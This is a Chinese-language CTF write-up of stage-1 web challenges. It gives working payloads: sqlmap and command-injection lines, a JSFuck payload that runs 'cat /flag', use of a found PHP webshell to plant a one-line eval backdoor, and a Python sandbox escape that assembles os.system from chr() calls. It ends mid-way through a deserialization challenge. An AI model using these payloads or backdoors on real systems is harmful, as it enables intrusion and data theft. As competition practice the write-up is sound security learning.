大概只看了Web方向及misc的若干题,仅写了部分WP(全web+ezai)
Web
[阶段1] 上古遗迹档案馆
SQL注入,直接SQLmap可以出
python sqlmap.py -u http://challenge.shc.tf:31298/?id=1' --dump
[阶段1] ez-ping
&&连接命令可RCE,有waf绕过即可
127.0.0.1 && more /f???[阶段1] calc?js?fuck!
import requests
url = "http://challenge.shc.tf:31879/calc"# 测试 1+1 的 JSFuck payload## process.mainModule.require('child_process').execSync('cat /flag').toString()
test_payload = """[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())"""print(f"[*] Testing simple payload (1+1)...")print(f"[*] Payload length: {len(test_payload)} bytes\n")
data = {"expr": test_payload}try:
res = requests.post(url, json=data, timeout=30)print(f"[+] Status Code: {res.status_code}")if res.status_code == 200:
result = res.json()print(f"[+] Result: {result}")print(f"\n✅ JSFuck payload works! Result = {result.get('result')}")print(f"\n[*] Now we can try the command execution payload!")else:print(f"[!] Error response:")print(res.text[:1000])except Exception as e:print(f"[!] Error: {e}")[阶段1] 05_em_v_CFK
前端源码有提示:


dirsearch扫一下 出来个目录/uploads/

带上参数访问`http://challenge.shc.tf:31626/uploads/shell.php?show=1~
<?php
if (isset($_GET['show'])) { highlight_file(__FILE__);
}
$pass = 'c4d038b4bed09fdb1471ef51ec3a32cd';
if (isset($_POST['key']) && md5($_POST['key']) === $pass) {
if (isset($_POST['cmd'])) { system($_POST['cmd']);
} elseif (isset($_POST['code'])) {
eval($_POST['code']);
}
} else { http_response_code(404);
}pass解出来是114514
为了方便 先写个🐎 就可以蚁剑连接
key=114514&code=file_put_contents('/var/www/html/a.php','<?php eval($_POST["a"]); ?>');看看index.php是什么逻辑
<?phpinclude 'connect.php';$my_money = 3.00;$msg = "";$target_id = 0;if (isset($_POST['buy']) && isset($_POST['item_id'])) {$target_id = (int)$_POST['item_id'];if ($target_id > 0) {try {$stmt = $pdo->prepare("CALL buy_item(?, ?)");$stmt->execute([$target_id, $my_money]);$res = $stmt->fetch();$msg = $res['final_message'];$my_money -= $res['current_price'];} catch (Exception $e) {$msg = "Transaction Error: " . $e->getMessage();}} else {$msg = "Invalid item selected.";}} else {try {$stmt = $pdo->query("SELECT id, name, price FROM goods ORDER BY id ASC");if ($stmt === false) {exit;}$goods_list = $stmt->fetchAll();} catch (Exception $e) {die("Error fetching goods list.");}}?><!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><title>Inflation Control Shop</title><style>body {font-family: sans-serif;background: #f4f4f4;display: flex;justify-content: center;padding-top: 50px;}.card {background: white;padding: 30px;border-radius: 10px;box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);width: 600px;}.balance {color: #666;margin-bottom: 20px;font-weight: bold;}table {width: 100%;border-collapse: collapse;margin-top: 15px;}th,
td {padding: 10px;border: 1px solid #ddd;text-align: left;}th {background: #f2f2f2;}.price {color: darkgreen;font-weight: bold;}.btn {background: #007bff;color: white;border: none;padding: 8px 15px;cursor: pointer;border-radius: 5px;}.btn:hover {background: #0056b3;}.alert {/* 5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa */margin-top: 20px;padding: 10px;background: #ffeeba;border: 1px solid #ffeeba;color: #856404;border-radius: 5px;word-break: break-all;}</style></head><body><div class="card"><h1>Flag 商店</h1><div class="balance">
你的钱包余额: <span style="color: red;">$<?php echo $my_money; ?></span></div><?php if ($msg): ?><div class="alert">
系统消息: <?php echo htmlspecialchars($msg); ?></div><?php else: ?><h2>商品列表</h2><table><thead><tr><th>ID</th><th>商品名称</th><th>价格</th><th>操作</th></tr></thead><tbody><?php foreach ($goods_list as $good): ?><tr><td><?php echo htmlspecialchars($good['id']); ?></td><td><?php echo htmlspecialchars($good['name']); ?></td><td class="price">$<?php echo htmlspecialchars(number_format($good['price'], 2)); ?></td><td><form method="post"><input type="hidden" name="item_id" value="<?php echo htmlspecialchars($good['id']); ?>"><button type="submit" name="buy" class="btn">购买</button></form></td></tr><?php endforeach; ?></tbody></table><?php endif; ?></div></body></html>涉及到sql库的操作,找了一下发现/var/db.sql就是想要的库
CREATE DATABASE IF NOT EXISTS shop;
USE shop;
CREATE TABLE goods (
id INT PRIMARY KEY,
name VARCHAR(50),
price DECIMAL(10, 2)
);
CREATE TABLE mess (
id INT PRIMARY KEY,
mess VARCHAR(100)
);
INSERT INTO goods VALUES (1, 'Free Tea', 0.00), (2, 'Icecream', 3.00),(3, 'Golden Flag', 50.00);
INSERT INTO mess VALUES (1, '羊毛都让你薅光了'), (2, '好吃不贵');
CREATE USER 'ctf_user'@'localhost' IDENTIFIED BY 'ctf_password_114514';
GRANT SELECT, UPDATE ON shop.goods TO 'ctf_user'@'localhost';
DELIMITER //
CREATE DEFINER=`root`@`localhost` PROCEDURE `buy_item`(IN item_id INT, IN user_money DECIMAL(10,2))
SQL SECURITY DEFINER
BEGIN
DECLARE current_price INT;
DECLARE final_message VARCHAR(100);
SELECT price INTO current_price FROM goods WHERE id = item_id;
IF current_price <= user_money THEN
SELECT mess INTO final_message FROM mess WHERE id = item_id;
SELECT current_price AS current_price, final_message AS final_message;
ELSE
SELECT 0 AS current_price, '余额不足,你需要更多的钱或者更便宜的商品' AS final_message;
END IF;
END //
DELIMITER ;
GRANT EXECUTE ON PROCEDURE shop.buy_item TO 'ctf_user'@'localhost';
FLUSH PRIVILEGES;拿到如下信息
数据库账号密码:
ctf_user/ctf_password_114514用户
ctf_user拥有shop.goods表的UPDATE权限
试了一下蚁剑的shell好像不能操作mysql,那就用php来帮助改价(flag改为0)再买入
<?php
$dsn = 'mysql:host=localhost;dbname=shop';
$user = 'ctf_user';
$pass = 'ctf_password_114514';
try {
// 1. 连接数据库
$pdo = new PDO($dsn, $user, $pass);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
echo "[*] Database connected successfully.\n";
// 2. 修改价格:把 id=3 (Golden Flag) 的价格改成 0
// 原价是 50,你只有 3 块,改成 0 就能买了
$sql_update = "UPDATE goods SET price = 0 WHERE id = 3";
$pdo->exec($sql_update);
echo "[*] Price hacked! Golden Flag is now free ($0.00).\n";
// 3. 购买商品:调用存储过程 buy_item
// 参数1: item_id = 3 (Golden Flag)
// 参数2: user_money = 3.00 (你原本的钱)
$stmt = $pdo->prepare("CALL buy_item(3, 3.00)");
$stmt->execute();
$result = $stmt->fetch(PDO::FETCH_ASSOC);
echo "\n--- 🛒 购买结果 ---\n";
print_r($result);
} catch (PDOException $e) {
echo "Error: " . $e->getMessage();
}
?>
[阶段1] Eazy_Pyrunner
点关于功能发现进行了GET传参:http://challenge.shc.tf:31952/?file=pages/about.html
看这个参名猜测可以读文件:http://challenge.shc.tf:31952/?file=app.py
拿到app.py
from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys
app = Flask(__name__)
@app.route('/')
def index():
file_name = request.args.get('file', 'pages/index.html')
try:
with open(file_name, 'r', encoding='utf-8') as f:
content = f.read()
except Exception as e:
with open('pages/index.html', 'r', encoding='utf-8') as f:
content = f.read()
return render_template_string(content)
def waf(code):
blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '\"']
for keyword in blacklisted_keywords:
if keyword in code:
return False
return True
@app.route('/execute', methods=['POST'])
def execute_code():
code = request.json.get('code', '')
if not code:
return jsonify({'error': '请输入Python代码'})
if not waf(code):
return jsonify({'error': 'Hacker!'})
try:
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(f"""import sys
sys.modules['os'] = 'not allowed'
def is_my_love_event(event_name):
return event_name.startswith("Nothing is my love but you.")
def my_audit_hook(event_name, arg):
if len(event_name) > 0:
raise RuntimeError("Too long event name!")
if len(arg) > 0:
raise RuntimeError("Too long arg!")
if not is_my_love_event(event_name):
raise RuntimeError("Hacker out!")
__import__('sys').addaudithook(my_audit_hook)
{code}""")
temp_file_name = f.name
result = subprocess.run(
[sys.executable, temp_file_name],
capture_output=True,
text=True,
timeout=10
)
os.unlink(temp_file_name)
return jsonify({
'stdout': result.stdout,
'stderr': result.stderr
})
except subprocess.TimeoutExpired:
return jsonify({'error': '代码执行超时(超过10秒)'})
except Exception as e:
return jsonify({'error': f'执行出错: {str(e)}'})
finally:
if os.path.exists(temp_file_name):
os.unlink(temp_file_name)
if __name__ == '__main__':
app.run(debug=True)WAF:
def waf(code):
blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec',
'eval', '__', 'os', 'sys', 'subprocess',
'run', 'flag', '\'', '\"']
for keyword in blacklisted_keywords:
if keyword in code:
return False
return True还有个Hook
def my_audit_hook(event_name, arg):
if len(event_name) > 0:
raise RuntimeError("Too long event name!")
if len(arg) > 0:
raise RuntimeError("Too long arg!")
if not is_my_love_event(event_name):
raise RuntimeError("Hacker out!")发现len 和 is_my_love_event 是通过名称查找调用的全局函数,并不是 Python 内置的函数引用,所以可以被我们重定义:
def len(x):
return 0 # 让 len(event_name) > 0 永远为 False
def is_my_love_event(x):
return True # 让检查永远通过看一下有什么全局变量
print(dir())
# ['__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'is_my_love_event', 'my_audit_hook', 'sys']利用chr()函数构造字符串来绕过关键字
这里让ai帮忙拼接,太方便啦
s = globals()[chr(115)+chr(121)+chr(115)] # sys
m = getattr(s, chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115)) # modules
print(list(m.keys()))
# ['sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings','_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external','time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings','encodings.utf_8', '_signal', '_abc', 'abc', 'io', '__main__', '_stat','stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os','_sitebuiltins', 'site']发现不能直接用os模块,但是posixpath模块有os属性
pp = m[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)+chr(112)+chr(97)+chr(116)+chr(104)] # posixpath
print(dir(pp))
#['ALLOW_MISSING', '__all__', '__builtins__', '__doc__', '__file__','__loader__', '__name__', '__package__', '__spec__', '_get_sep','_joinrealpath', '_varprog', '_varprogb', 'abspath', 'altsep', 'basename','commonpath', 'commonprefix', 'curdir', 'defpath', 'devnull', 'dirname','exists', 'expanduser', 'expandvars', 'extsep', 'genericpath', 'getatime','getctime', 'getmtime', 'getsize', 'isabs', 'isdir', 'isfile', 'isjunction','islink', 'ismount', 'join', 'lexists','normcase','normpath','os','pardir', 'pathsep', 'realpath', 'relpath', 'samefile','sameopenfile','samestat','sep', 'split', 'splitdrive', 'splitext', 'splitroot','stat','supports_unicode_filenames', 'sys']利用os.listdir看一下根目录,发现有个read_flag
def len(x):
return 0
def is_my_love_event(x):
return True
s = globals()[chr(115)+chr(121)+chr(115)]
m = getattr(s, chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115))
pp = m[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)+chr(112)+chr(97)+chr(116)+chr(104)]
o = getattr(pp, chr(111)+chr(115))
ld = getattr(o, chr(108)+chr(105)+chr(115)+chr(116)+chr(100)+chr(105)+chr(114)) # listdir
print(ld(chr(47))) # /
# ['bin', 'boot', 'dev', 'etc', 'flag', 'home', 'lib', 'lib64','media', 'mnt', 'opt', 'proc', 'read_flag', 'root', 'run','sbin', 'srv', 'sys', 'tmp', 'usr', 'var']Payload:
def len(x):
return 0
def is_my_love_event(x):
return True
s = globals()[chr(115)+chr(121)+chr(115)]
m = getattr(s, chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115))
pp = m[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)+chr(112)+chr(97)+chr(116)+chr(104)]
o = getattr(pp, chr(111)+chr(115))
sy = getattr(o, chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)) # system
sy(chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(95)+chr(102)+chr(108)+chr(97)+chr(103)) # /read_flag
# SHCTF{af641d0f-00ad-4db4-b27b-46b57feddc22}[阶段1] Ezphp
源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
class Sun{
public $sun;
public function __destruct(){
die("Maybe you should fly to the ".$this->sun);
}
}
class Solar{
private $Sun;
public $Mercury;
public $Venus;
public $Earth;
public $Mars;
public $Jupiter;
public $Saturn;
public $Uranus;
public $Neptune;
public function __set($name,$key){
$this->Mars = $key;
$Dyson = $this->Mercury;
$Sphere = $this->Venus;
$Dyson->$Sphere($this->Mars);
}
public function __call($func,$args){
if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
$exploar = new $func($args[0]);
$road = $this->Jupiter;
$exploar->$road($this->Saturn);
}
else{
die("Black hole");
}
}
}
class Moon{
public $nearside;
public $farside;
public function __tostring(){
$starship = $this->nearside;
$starship();
return '';
}
}
class Earth{
public $onearth;
public $inearth;
public $outofearth;
public function __invoke(){
$oe = $this->onearth;
$ie = $this->inearth;
$ote = $this->outofearth;
$oe->$ie = $ote;
}
}
if(isset($_POST['travel'])){
$a = unserialize($_POST['travel']);
throw new Exception("How to Travel?");
}梭一把:
起点:
